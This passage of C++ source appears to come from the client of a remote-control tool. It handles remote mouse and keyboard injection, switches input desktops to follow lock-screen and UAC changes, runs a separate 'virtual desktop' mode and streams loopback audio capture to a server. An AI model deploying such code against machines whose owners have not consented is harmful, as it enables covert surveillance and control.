SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
break;
}
case HTCLOSE: {// 关闭窗口
PostMessageA(hWnd, WM_CLOSE, 0, 0);
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMINBUTTON: {// 最小化
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMAXBUTTON: {// 最大化
WINDOWPLACEMENT windowPlacement;
windowPlacement.length = sizeof(windowPlacement);
GetWindowPlacement(hWnd, &windowPlacement);
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
else
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
}
} else if (msg->message == WM_LBUTTONDOWN) {
m_lmouseDown = TRUE;
m_hResMoveWindow = NULL;
// 获取顶层窗口来判断点击位置
HWND hTopWnd = GetAncestor(hWnd, GA_ROOT);
if (!hTopWnd) hTopWnd = hWnd;
// 在按下时就记录操作类型,避免移动后误判为边框调整
m_resMoveType = SendMessageA(hTopWnd, WM_NCHITTEST, NULL, msg->lParam);
// 修正现代 UI (WinUI 3) 标题栏检测和 DWM 阴影误判
RECT frameRect;
if (SUCCEEDED(DwmGetWindowAttribute(hTopWnd, DWMWA_EXTENDED_FRAME_BOUNDS,
&frameRect, sizeof(frameRect)))) {
int captionHeight = GetSystemMetrics(SM_CYCAPTION) + GetSystemMetrics(SM_CYFRAME) + 8;
int relX = m_point.x - frameRect.left; // 相对于窗口左边的 X 坐标
int relY = m_point.y - frameRect.top; // 相对于窗口顶部的 Y 坐标
Mprintf("点击位置: relX=%d, relY=%d, captionHeight=%d\n", relX, relY, captionHeight);
// Windows 11 文件管理器工具栏按钮检测(在标题栏下方的工具栏区域)
// 工具栏 Y 范围captionHeight 到 captionHeight+50 (大约 35-85)
if (relY >= captionHeight && relY < captionHeight + 50 && relX >= 0 && relX < 160) {
// 工具栏按钮区域(返回、前进、向上)
BYTE vkKey = 0;
const char* btnName = NULL;
if (relX < 50) {
vkKey = VK_LEFT; // 返回Alt + Left
btnName = "返回";
} else if (relX < 100) {
vkKey = VK_RIGHT; // 前进Alt + Right
btnName = "前进";
} else if (relX < 160) {
vkKey = VK_UP; // 向上Alt + Up
btnName = "向上";
}
if (vkKey) {
Mprintf("工具栏按钮点击: %s (relX=%d, relY=%d)\n", btnName, relX, relY);
// 方法1: 尝试 WM_APPCOMMAND (浏览器导航命令)
#define APPCOMMAND_BROWSER_BACKWARD 1
#define APPCOMMAND_BROWSER_FORWARD 2
#define FAPPCOMMAND_KEY 0x8000
if (vkKey == VK_LEFT) {
// 返回
LPARAM cmd = MAKELPARAM(0, APPCOMMAND_BROWSER_BACKWARD | FAPPCOMMAND_KEY);
SendMessage(hTopWnd, WM_APPCOMMAND, (WPARAM)hTopWnd, cmd);
} else if (vkKey == VK_RIGHT) {
// 前进
LPARAM cmd = MAKELPARAM(0, APPCOMMAND_BROWSER_FORWARD | FAPPCOMMAND_KEY);
SendMessage(hTopWnd, WM_APPCOMMAND, (WPARAM)hTopWnd, cmd);
} else if (vkKey == VK_UP) {
// 向上 - 没有 APPCOMMAND尝试多种方法
SetForegroundWindow(hTopWnd);
// 方法1: 发送到点击的子窗口
PostMessage(hWnd, WM_SYSKEYDOWN, VK_UP, (1 << 29) | (MapVirtualKey(VK_UP, 0) << 16) | 1);
PostMessage(hWnd, WM_SYSKEYUP, VK_UP, (1 << 29) | (MapVirtualKey(VK_UP, 0) << 16) | (3 << 30) | 1);
// 方法2: 也发送到顶层窗口
PostMessage(hTopWnd, WM_SYSKEYDOWN, VK_UP, (1 << 29) | (MapVirtualKey(VK_UP, 0) << 16) | 1);
PostMessage(hTopWnd, WM_SYSKEYUP, VK_UP, (1 << 29) | (MapVirtualKey(VK_UP, 0) << 16) | (3 << 30) | 1);
}
continue;
}
}
// 检查是否在标题栏拖动区域
BOOL inCaptionArea = (relY >= 0 && relY < captionHeight &&
relX >= 140 && m_point.x < frameRect.right - 150);
if (inCaptionArea) {
// WinUI 3 自定义标题栏返回 HTCLIENT强制改为 HTCAPTION
if (m_resMoveType == HTCLIENT) {
m_resMoveType = HTCAPTION;
Mprintf("强制设置为 HTCAPTION (WinUI 3 自定义标题栏)\n");
}
// DWM 阴影导致的边框误判,也改为 HTCAPTION
else if (m_resMoveType == HTTOP || m_resMoveType == HTTOPLEFT || m_resMoveType == HTTOPRIGHT) {
m_resMoveType = HTCAPTION;
}
}
}
RECT startButtonRect;
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
GetWindowRect(hStartButton, &startButtonRect);
if (PtInRect(&startButtonRect, m_point)) {
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
continue;
} else {
char windowClass[MAX_PATH] = { 0 };
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
if (!lstrcmpA(windowClass, "#32768")) {
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
int itemId = GetMenuItemID(hMenu, itemPos);
PostMessageA(hWnd, 0x1e5, itemPos, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
continue;
}
}
// 记录按下时的窗口,用于后续移动/调整(使用顶层窗口)
m_hResMoveWindow = hTopWnd;
Mprintf("记录拖动窗口: hWnd=%p, hTopWnd=%p, m_resMoveType=%d (HTCAPTION=%d)\n",
hWnd, hTopWnd, m_resMoveType, HTCAPTION);
} else if (msg->message == WM_MOUSEMOVE) {
if (!m_lmouseDown || !m_hResMoveWindow) {
// Mprintf("跳过移动: lmouseDown=%d, hResMoveWindow=%p\n", m_lmouseDown, m_hResMoveWindow);
continue;
}
hWnd = m_hResMoveWindow;
int moveX = lastPointCopy.x - m_point.x;
int moveY = lastPointCopy.y - m_point.y;
RECT rect;
GetWindowRect(hWnd, &rect);
int x = rect.left;
int y = rect.top;
int width = rect.right - rect.left;
int height = rect.bottom - rect.top;
BOOL needResize = FALSE;
switch (m_resMoveType) {
case HTCAPTION: {
x -= moveX;
y -= moveY;
break;
}
case HTTOP: {
y -= moveY;
height += moveY;
needResize = TRUE;
break;
}
case HTBOTTOM: {
height -= moveY;
needResize = TRUE;
break;
}
case HTLEFT: {
x -= moveX;
width += moveX;
needResize = TRUE;
break;
}
case HTRIGHT: {
width -= moveX;
needResize = TRUE;
break;
}
case HTTOPLEFT: {
y -= moveY;
height += moveY;
x -= moveX;
width += moveX;
needResize = TRUE;
break;
}
case HTTOPRIGHT: {
y -= moveY;
height += moveY;
width -= moveX;
needResize = TRUE;
break;
}
case HTBOTTOMLEFT: {
height -= moveY;
x -= moveX;
width += moveX;
needResize = TRUE;
break;
}
case HTBOTTOMRIGHT: {
height -= moveY;
width -= moveX;
needResize = TRUE;
break;
}
default:
continue;
}
// 使用 SetWindowPos 代替 MoveWindow支持异步重绘
SetWindowPos(hWnd, NULL, x, y, width, height,
SWP_NOZORDER | SWP_NOACTIVATE | (needResize ? 0 : SWP_NOSIZE));
continue;
}
break;
}
}
for (HWND currHwnd = hWnd;;) {
hWnd = currHwnd;
ScreenToClient(currHwnd, &m_point);
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
if (!currHwnd || currHwnd == hWnd)
break;
}
if (mouseMsg)
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
// 双击需要完整消息序列LBUTTONDOWN -> LBUTTONDBLCLK -> LBUTTONUP
if (msg->message == WM_LBUTTONDBLCLK) {
PostMessage(hWnd, WM_LBUTTONDOWN, MK_LBUTTON, msg->lParam);
PostMessage(hWnd, WM_LBUTTONDBLCLK, MK_LBUTTON, msg->lParam);
PostMessage(hWnd, WM_LBUTTONUP, 0, msg->lParam);
} else {
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
}
}
return;
}
if (IsRunAsService()) {
const int CHECK_INTERVAL = 100; // 桌面检测间隔ms快速响应锁屏/UAC切换
// 首次调用或定期检测桌面是否变化(降低频率,避免每次输入都检测)
auto now = clock();
if (!s_inputDesk || now - s_lastCheck > CHECK_INTERVAL) {
s_lastCheck = now;
if (SwitchToDesktopIfChanged(s_inputDesk, DESKTOP_WRITEOBJECTS | GENERIC_WRITE)) {
// 桌面变化时,标记需要重新设置线程桌面
s_lastThreadId = 0;
}
}
// 确保当前线程在正确的桌面上(仅首次或线程变化时设置)
if (s_inputDesk) {
DWORD currentThreadId = GetCurrentThreadId();
if (currentThreadId != s_lastThreadId) {
SetThreadDesktop(s_inputDesk);
s_lastThreadId = currentThreadId;
}
}
}
// 窗口捕获模式:只能查看,不能控制
if (m_ScreenSpyObject && m_ScreenSpyObject->GetTargetWindow()) {
return;
}
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MSG64* Msg = msgSize == 48 ? (MSG64*)ptr :
(MSG64*)msg64.Create(msg32.Create(ptr, msgSize));
INPUT input = { 0 };
input.type = INPUT_MOUSE;
// 处理坐标:无论是点击还是移动,都先更新坐标
if (Msg->message >= WM_MOUSEFIRST && Msg->message <= WM_MOUSELAST) {
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
m_ScreenSpyObject->PointConversion(Point);
BOOL b = SetCursorPos(Point.x, Point.y);
if (!b) {
SetForegroundWindow(GetDesktopWindow());
ReleaseCapture();
return;
}
// 映射到 0-65535 的绝对坐标空间
if (m_ScreenSpyObject->GetScreenCount() > 1) {
// 多显示器模式下,必须重新计算 dx, dy 映射到全虚拟桌面空间
// 且必须带上 MOUSEEVENTF_VIRTUALDESK 标志
input.mi.dx = ((Point.x - m_ScreenSpyObject->GetVScreenLeft()) * 65535) / (m_ScreenSpyObject->GetVScreenWidth() - 1);
input.mi.dy = ((Point.y - m_ScreenSpyObject->GetVScreenTop()) * 65535) / (m_ScreenSpyObject->GetVScreenHeight() - 1);
input.mi.dwFlags = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE | MOUSEEVENTF_VIRTUALDESK;
} else {
input.mi.dx = (Point.x * 65535) / (m_ScreenSpyObject->GetScreenWidth() - 1);
input.mi.dy = (Point.y * 65535) / (m_ScreenSpyObject->GetScreenHeight() - 1);
input.mi.dwFlags = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE;
}
}
switch (Msg->message) {
case WM_MOUSEMOVE:
// 仅移动,上面已经设置了 MOUSEEVENTF_MOVE
SendInput(1, &input, sizeof(INPUT));
break;
case WM_LBUTTONDOWN:
input.mi.dwFlags |= MOUSEEVENTF_LEFTDOWN;
SendInput(1, &input, sizeof(INPUT));
break;
case WM_LBUTTONUP:
input.mi.dwFlags |= MOUSEEVENTF_LEFTUP;
SendInput(1, &input, sizeof(INPUT));
break;
case WM_RBUTTONDOWN:
input.mi.dwFlags |= MOUSEEVENTF_RIGHTDOWN;
SendInput(1, &input, sizeof(INPUT));
break;
case WM_RBUTTONUP:
input.mi.dwFlags |= MOUSEEVENTF_RIGHTUP;
SendInput(1, &input, sizeof(INPUT));
break;
case WM_LBUTTONDBLCLK:
// 前面已经收到了一个完整的 Down/Up, 这里我们只需要补一个"按下"动作, 系统就会认定这是双击
input.mi.dwFlags |= MOUSEEVENTF_LEFTDOWN;
SendInput(1, &input, sizeof(INPUT));
break;
case WM_MBUTTONDOWN:
input.mi.dwFlags |= MOUSEEVENTF_MIDDLEDOWN;
SendInput(1, &input, sizeof(INPUT));
break;
case WM_MBUTTONUP:
input.mi.dwFlags |= MOUSEEVENTF_MIDDLEUP;
SendInput(1, &input, sizeof(INPUT));
break;
case WM_MOUSEWHEEL:
input.mi.dwFlags = MOUSEEVENTF_WHEEL;
input.mi.mouseData = GET_WHEEL_DELTA_WPARAM(Msg->wParam);
SendInput(1, &input, sizeof(INPUT));
break;
case WM_KEYDOWN:
case WM_SYSKEYDOWN: {
INPUT k_input = { 0 };
k_input.type = INPUT_KEYBOARD;
k_input.ki.wVk = (WORD)Msg->wParam;
k_input.ki.wScan = (Msg->lParam >> 16) & 0xFF; // 从 lParam 取真实扫描码
k_input.ki.dwFlags = 0;
if ((Msg->lParam >> 24) & 1) // 从 lParam bit24 取扩展键标志
k_input.ki.dwFlags |= KEYEVENTF_EXTENDEDKEY;
SendInput(1, &k_input, sizeof(INPUT));
break;
}
case WM_KEYUP:
case WM_SYSKEYUP: {
INPUT k_input = { 0 };
k_input.type = INPUT_KEYBOARD;
k_input.ki.wVk = (WORD)Msg->wParam;
k_input.ki.wScan = (Msg->lParam >> 16) & 0xFF; // 从 lParam 取真实扫描码
k_input.ki.dwFlags = KEYEVENTF_KEYUP;
if ((Msg->lParam >> 24) & 1) // 从 lParam bit24 取扩展键标志
k_input.ki.dwFlags |= KEYEVENTF_EXTENDEDKEY;
SendInput(1, &k_input, sizeof(INPUT));
break;
}
}
}
}
// 枚举窗口回调函数,收集任务栏上的窗口
static BOOL CALLBACK EnumWindowsForSwitch(HWND hWnd, LPARAM lParam)
{
std::vector<HWND>* pWindows = (std::vector<HWND>*)lParam;
// 检查窗口是否可见
if (!IsWindowVisible(hWnd))
return TRUE;
// 检查窗口是否有任务栏按钮(排除工具窗口、子窗口等)
LONG exStyle = GetWindowLongA(hWnd, GWL_EXSTYLE);
if (exStyle & WS_EX_TOOLWINDOW)
return TRUE;
// 获取窗口标题,排除无标题窗口
char title[256] = {};
GetWindowTextA(hWnd, title, sizeof(title));
if (strlen(title) == 0)
return TRUE;
// 排除不可见的窗口所有者
HWND hOwner = GetWindow(hWnd, GW_OWNER);
if (hOwner && !IsWindowVisible(hOwner))
return TRUE;
// 排除最小化且被隐藏的窗口
if (IsIconic(hWnd) && !(exStyle & WS_EX_APPWINDOW))
return TRUE;
// 检查是否为应用窗口(有 WS_EX_APPWINDOW 或无 owner
if (!(exStyle & WS_EX_APPWINDOW) && hOwner)
return TRUE;
pWindows->push_back(hWnd);
return TRUE;
}
void CScreenManager::SwitchToNextWindow()
{
// 收集所有任务栏窗口
std::vector<HWND> windows;
if (m_virtual && g_hDesk) {
// 虚拟桌面模式:枚举虚拟桌面上的窗口
SetThreadDesktop(g_hDesk);
EnumDesktopWindows(g_hDesk, EnumWindowsForSwitch, (LPARAM)&windows);
} else {
// 普通模式:枚举所有窗口
EnumWindows(EnumWindowsForSwitch, (LPARAM)&windows);
}
if (windows.empty()) {
Mprintf("SwitchToNextWindow: 没有可切换的窗口\n");
return;
}
// 循环切换到下一个窗口
m_nSwitchWindowIndex = (m_nSwitchWindowIndex + 1) % windows.size();
HWND hTarget = windows[m_nSwitchWindowIndex];
char title[256] = {};
GetWindowTextA(hTarget, title, sizeof(title));
Mprintf("SwitchToNextWindow: 切换到窗口 %d/%d: %s [%p]\n",
m_nSwitchWindowIndex + 1, (int)windows.size(), title, hTarget);
// 如果窗口被最小化,先恢复
if (IsIconic(hTarget)) {
ShowWindow(hTarget, SW_RESTORE);
}
// 将窗口置于最前面
SetForegroundWindow(hTarget);
BringWindowToTop(hTarget);
}
void CScreenManager::LoadQualityProfiles()
{
iniFile cfg(CLIENT_PATH);
for (int i = 0; i < QUALITY_COUNT; i++) {
char section[32];
sprintf(section, "profile%d", i);
// 读取配置,没有则用默认值
const QualityProfile& def = GetQualityProfile(i);
m_QualityProfiles[i].maxFPS = cfg.GetInt(section, "maxFPS", def.maxFPS);
m_QualityProfiles[i].maxWidth = cfg.GetInt(section, "maxWidth", def.maxWidth);
m_QualityProfiles[i].algorithm = cfg.GetInt(section, "algorithm", def.algorithm);
m_QualityProfiles[i].bitRate = cfg.GetInt(section, "bitRate", def.bitRate);
}
}
void CScreenManager::SaveQualityProfiles()
{
iniFile cfg(CLIENT_PATH);
for (int i = 0; i < QUALITY_COUNT; i++) {
const QualityProfile& def = GetQualityProfile(i);
const QualityProfile& cur = m_QualityProfiles[i];
// 只有与默认值不同时才保存
if (cur.maxFPS == def.maxFPS && cur.maxWidth == def.maxWidth &&
cur.algorithm == def.algorithm && cur.bitRate == def.bitRate) {
continue;
}
char section[32];
sprintf(section, "profile%d", i);
cfg.SetInt(section, "maxFPS", cur.maxFPS);
cfg.SetInt(section, "maxWidth", cur.maxWidth);
cfg.SetInt(section, "algorithm", cur.algorithm);
cfg.SetInt(section, "bitRate", cur.bitRate);
}
}
// ========== WASAPI 系统音频捕获实现 ==========
BOOL CScreenManager::InitWASAPILoopback()
{
if (m_bAudioInitialized) return TRUE;
HRESULT hr;
IMMDeviceEnumerator* pEnumerator = nullptr;
// 注意COM 应该由调用线程初始化(音频线程在启动时已初始化)
// 创建设备枚举器
hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL,
__uuidof(IMMDeviceEnumerator), (void**)&pEnumerator);
if (FAILED(hr)) {
Mprintf("创建 MMDeviceEnumerator 失败: 0x%08X\n", hr);
return FALSE;
}
// 获取默认音频输出设备(用于 loopback
hr = pEnumerator->GetDefaultAudioEndpoint(eRender, eConsole, &m_pAudioDevice);
pEnumerator->Release();
if (FAILED(hr)) {
Mprintf("获取默认音频设备失败: 0x%08X\n", hr);
return FALSE;
}
// 激活音频客户端
hr = m_pAudioDevice->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL, (void**)&m_pAudioClient);
if (FAILED(hr)) {
Mprintf("激活 IAudioClient 失败: 0x%08X\n", hr);
UninitWASAPI();
return FALSE;
}
// 获取设备混音格式
WAVEFORMATEX* pWaveFormat = nullptr;
hr = m_pAudioClient->GetMixFormat(&pWaveFormat);
if (FAILED(hr)) {
Mprintf("获取混音格式失败: 0x%08X\n", hr);
UninitWASAPI();
return FALSE;
}
m_pWaveFormat = pWaveFormat;
// 检测格式类型
const char* formatType = "Unknown";
if (pWaveFormat->wFormatTag == WAVE_FORMAT_PCM) {
formatType = "PCM";
} else if (pWaveFormat->wFormatTag == WAVE_FORMAT_IEEE_FLOAT) {
formatType = "IEEE Float";
} else if (pWaveFormat->wFormatTag == WAVE_FORMAT_EXTENSIBLE) {
formatType = IsFloatFormat(pWaveFormat) ? "Extensible (Float)" : "Extensible (PCM)";
}
Mprintf("音频格式: %d Hz, %d 声道, %d 位, 类型=%s\n",
pWaveFormat->nSamplesPerSec, pWaveFormat->nChannels,
pWaveFormat->wBitsPerSample, formatType);
// 初始化音频客户端Loopback 模式)
// 缓冲区大小 100ms
REFERENCE_TIME hnsRequestedDuration = 1000000; // 100ms in 100-nanosecond units
hr = m_pAudioClient->Initialize(AUDCLNT_SHAREMODE_SHARED,
AUDCLNT_STREAMFLAGS_LOOPBACK,
hnsRequestedDuration, 0,
pWaveFormat, NULL);
if (FAILED(hr)) {
Mprintf("IAudioClient::Initialize 失败: 0x%08X\n", hr);
UninitWASAPI();
return FALSE;
}
// 获取捕获客户端
hr = m_pAudioClient->GetService(__uuidof(IAudioCaptureClient), (void**)&m_pCaptureClient);
if (FAILED(hr)) {
Mprintf("获取 IAudioCaptureClient 失败: 0x%08X\n", hr);
UninitWASAPI();
return FALSE;
}
// 启动捕获
hr = m_pAudioClient->Start();
if (FAILED(hr)) {
Mprintf("启动音频捕获失败: 0x%08X\n", hr);
UninitWASAPI();
return FALSE;
}
m_bAudioInitialized = TRUE;
Mprintf("WASAPI Loopback 初始化成功\n");
return TRUE;
}
void CScreenManager::UninitWASAPI()
{
if (m_pAudioClient) {
m_pAudioClient->Stop();
}
if (m_pCaptureClient) {
m_pCaptureClient->Release();
m_pCaptureClient = nullptr;
}
if (m_pAudioClient) {
m_pAudioClient->Release();
m_pAudioClient = nullptr;
}
if (m_pWaveFormat) {
CoTaskMemFree(m_pWaveFormat);
m_pWaveFormat = nullptr;
}
if (m_pAudioDevice) {
m_pAudioDevice->Release();
m_pAudioDevice = nullptr;
}
m_bAudioInitialized = FALSE;
}
void CScreenManager::HandleAudioCtrl(BYTE enable, BYTE persist)
{
m_ScreenSettings.AudioEnabled = enable;
// 持久化到客户端配置
if (persist) {
iniFile cfg(CLIENT_PATH);
cfg.SetInt("settings", "AudioEnabled", enable);
}
if (enable) {
// 启用音频唤醒线程WASAPI 由音频线程自己初始化)
if (m_hAudioEvent) {
SetEvent(m_hAudioEvent);
}
Mprintf("音频传输已启用\n");
} else {
// 禁用音频:线程会自动挂起等待事件
Mprintf("音频传输已禁用\n");
}
}
// 将 Float32 样本转换为 Int16 样本
static inline short FloatToInt16(float sample)
{
// 限制范围 [-1.0, 1.0]
if (sample > 1.0f) sample = 1.0f;
if (sample < -1.0f) sample = -1.0f;
return (short)(sample * 32767.0f);
}
#if USING_OPUS
#include "compress/opus/opus_wrapper.h"
#endif
DWORD WINAPI CScreenManager::AudioThreadProc(LPVOID lpParam)
{
CScreenManager* pThis = (CScreenManager*)lpParam;
// 线程内初始化 COM
HRESULT hrCom = CoInitializeEx(NULL, COINIT_MULTITHREADED);
// 发送缓冲区:[TOKEN][hasFormat][AudioFormat?][data...]
const UINT32 MAX_BUFFER = 64 * 1024;
BYTE* pSendBuffer = new BYTE[MAX_BUFFER];
short* pPcmBuffer = new short[MAX_BUFFER / 2]; // PCM 转换缓冲区
BOOL firstFrame = TRUE;
#if USING_OPUS
// Opus 编码器和累积缓冲区
COpusEncoder opusEncoder;
BOOL opusInitialized = FALSE;
const int OPUS_FRAME_SIZE = 960; // 20ms @ 48kHz
short* pOpusAccumBuffer = new short[OPUS_FRAME_SIZE * 2]; // 立体声
int nAccumSamples = 0; // 已累积的样本数(每声道)
BYTE* pOpusOutBuffer = new BYTE[4000]; // Opus 输出缓冲区
Mprintf("音频线程启动 (Opus 压缩启用)\n");
#else
Mprintf("音频线程启动\n");
#endif
while (pThis->m_bAudioThreadRunning) {
// 如果音频未启用,挂起等待
if (!pThis->m_ScreenSettings.AudioEnabled) {
firstFrame = TRUE; // 下次启用时重新发送格式
WaitForSingleObject(pThis->m_hAudioEvent, INFINITE);
if (!pThis->m_bAudioThreadRunning) break;
continue;
}
// 如果 WASAPI 未初始化,尝试初始化(在音频线程中初始化确保 COM 正确)
if (!pThis->m_bAudioInitialized || !pThis->m_pCaptureClient) {
if (!pThis->InitWASAPILoopback()) {
// 初始化失败,等待后重试
WaitForSingleObject(pThis->m_hAudioEvent, 1000);
continue;
}
}
UINT32 packetLength = 0;
HRESULT hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength);
if (FAILED(hr)) {
// WASAPI 调用失败,可能是设备状态变化(如切换显示器),重新初始化
Mprintf("GetNextPacketSize 失败: 0x%08X重新初始化 WASAPI\n", hr);
pThis->UninitWASAPI();
Sleep(100);
continue;
}
while (packetLength > 0 && pThis->m_bAudioThreadRunning && pThis->m_ScreenSettings.AudioEnabled) {
BYTE* pData = nullptr;
UINT32 numFramesAvailable = 0;
DWORD flags = 0;
hr = pThis->m_pCaptureClient->GetBuffer(&pData, &numFramesAvailable, &flags, NULL, NULL);
if (FAILED(hr)) {
Mprintf("GetBuffer 失败: 0x%08X重新初始化 WASAPI\n", hr);
pThis->UninitWASAPI();
break;
}
WAVEFORMATEX* pWaveFmt = (WAVEFORMATEX*)pThis->m_pWaveFormat;
if (numFramesAvailable > 0 && pWaveFmt) {
UINT32 numChannels = pWaveFmt->nChannels;
UINT32 numSamples = numFramesAvailable * numChannels;
// 判断源格式(使用精确的 SubFormat GUID 检测)
BOOL isFloat = IsFloatFormat(pWaveFmt);
// 检查是否支持的格式
if (!isFloat && pWaveFmt->wBitsPerSample != 16) {
// 不支持的格式,跳过
pThis->m_pCaptureClient->ReleaseBuffer(numFramesAvailable);
hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength);
if (FAILED(hr)) {
Mprintf("GetNextPacketSize 失败 (内部): 0x%08X重新初始化 WASAPI\n", hr);
pThis->UninitWASAPI();
break;
}
continue;
}
// 转换 PCM 数据
short* pConvertedPcm = pPcmBuffer;
UINT32 convertedSamples = numSamples;
if (flags & AUDCLNT_BUFFERFLAGS_SILENT) {
// 静音帧:填充零
memset(pPcmBuffer, 0, numSamples * sizeof(short));
} else if (isFloat) {
// Float32 -> Int16 转换
float* pFloatData = (float*)pData;
for (UINT32 i = 0; i < numSamples && i < MAX_BUFFER / 2; i++) {
pPcmBuffer[i] = FloatToInt16(pFloatData[i]);
}
} else {
// 已经是 16-bit PCM直接使用
pConvertedPcm = (short*)pData;
}
#if USING_OPUS
// ===== Opus 编码模式 =====
// 初始化 Opus 编码器
if (!opusInitialized && pWaveFmt->nSamplesPerSec == 48000) {
if (opusEncoder.Init(48000, numChannels, 64000)) {
opusInitialized = TRUE;
Mprintf("Opus 编码器初始化成功: 48000 Hz, %d ch, 64 kbps\n", numChannels);
}
}
if (opusInitialized) {
// 累积样本到 Opus 帧缓冲区
int frameSamples = numFramesAvailable; // 每声道样本数
int srcOffset = 0;
while (srcOffset < (int)numFramesAvailable) {
// 计算可以复制的样本数
int toCopy = min((int)numFramesAvailable - srcOffset, OPUS_FRAME_SIZE - nAccumSamples);
// 复制到累积缓冲区
memcpy(pOpusAccumBuffer + nAccumSamples * numChannels,
pConvertedPcm + srcOffset * numChannels,
toCopy * numChannels * sizeof(short));
nAccumSamples += toCopy;
srcOffset += toCopy;
// 累积满一帧,编码并发送
if (nAccumSamples >= OPUS_FRAME_SIZE) {
int encodedLen = opusEncoder.Encode(pOpusAccumBuffer, OPUS_FRAME_SIZE,
pOpusOutBuffer, 4000);
if (encodedLen > 0) {
// 构造发送数据包
UINT32 offset = 0;
pSendBuffer[offset++] = TOKEN_SCREEN_AUDIO;
if (firstFrame) {
pSendBuffer[offset++] = 1; // hasFormat = true
AudioFormat fmt;
fmt.channels = (WORD)numChannels;
fmt.sampleRate = pWaveFmt->nSamplesPerSec;
fmt.bitsPerSample = 16;
fmt.blockAlign = (WORD)(numChannels * 2);
fmt.compression = AUDIO_COMPRESS_OPUS;
fmt.reserved = 0;
memcpy(pSendBuffer + offset, &fmt, sizeof(AudioFormat));
offset += sizeof(AudioFormat);
firstFrame = FALSE;
Mprintf("发送音频格式: %d Hz, %d ch, Opus 压缩\n",
fmt.sampleRate, fmt.channels);
} else {
pSendBuffer[offset++] = 0; // hasFormat = false
}
// 发送压缩数据
memcpy(pSendBuffer + offset, pOpusOutBuffer, encodedLen);
pThis->m_ClientObject->Send2Server((char*)pSendBuffer, offset + encodedLen);
}
nAccumSamples = 0;
}
}
}
#else
// ===== PCM 无压缩模式 =====
// 构造发送数据包
UINT32 offset = 0;
pSendBuffer[offset++] = TOKEN_SCREEN_AUDIO;
// 首帧带格式信息
if (firstFrame) {
pSendBuffer[offset++] = 1; // hasFormat = true
AudioFormat fmt;
fmt.channels = (WORD)numChannels;
fmt.sampleRate = pWaveFmt->nSamplesPerSec;
fmt.bitsPerSample = 16;
fmt.blockAlign = (WORD)(numChannels * 2);
fmt.compression = AUDIO_COMPRESS_NONE;
fmt.reserved = 0;
memcpy(pSendBuffer + offset, &fmt, sizeof(AudioFormat));
offset += sizeof(AudioFormat);
firstFrame = FALSE;
Mprintf("发送音频格式: %d Hz, %d ch, 16 bit PCM (源: %d bit %s)\n",
fmt.sampleRate, fmt.channels, pWaveFmt->wBitsPerSample,
isFloat ? "Float" : "PCM");
} else {
pSendBuffer[offset++] = 0; // hasFormat = false
}
// 发送 PCM 数据
UINT32 audioDataSize = convertedSamples * sizeof(short);
if (offset + audioDataSize <= MAX_BUFFER) {
memcpy(pSendBuffer + offset, pConvertedPcm, audioDataSize);
pThis->m_ClientObject->Send2Server((char*)pSendBuffer, offset + audioDataSize);
}
#endif
}
pThis->m_pCaptureClient->ReleaseBuffer(numFramesAvailable);
hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength);
if (FAILED(hr)) {
Mprintf("GetNextPacketSize 失败 (循环末): 0x%08X重新初始化 WASAPI\n", hr);
pThis->UninitWASAPI();
break;
}
}
Sleep(10); // ~100Hz 采集
}
delete[] pSendBuffer;
delete[] pPcmBuffer;
#if USING_OPUS
delete[] pOpusAccumBuffer;
delete[] pOpusOutBuffer;
opusEncoder.Destroy();
#endif
// 反初始化 COM
if (SUCCEEDED(hrCom)) {
CoUninitialize();
}
Mprintf("音频线程退出\n");
return 0;
}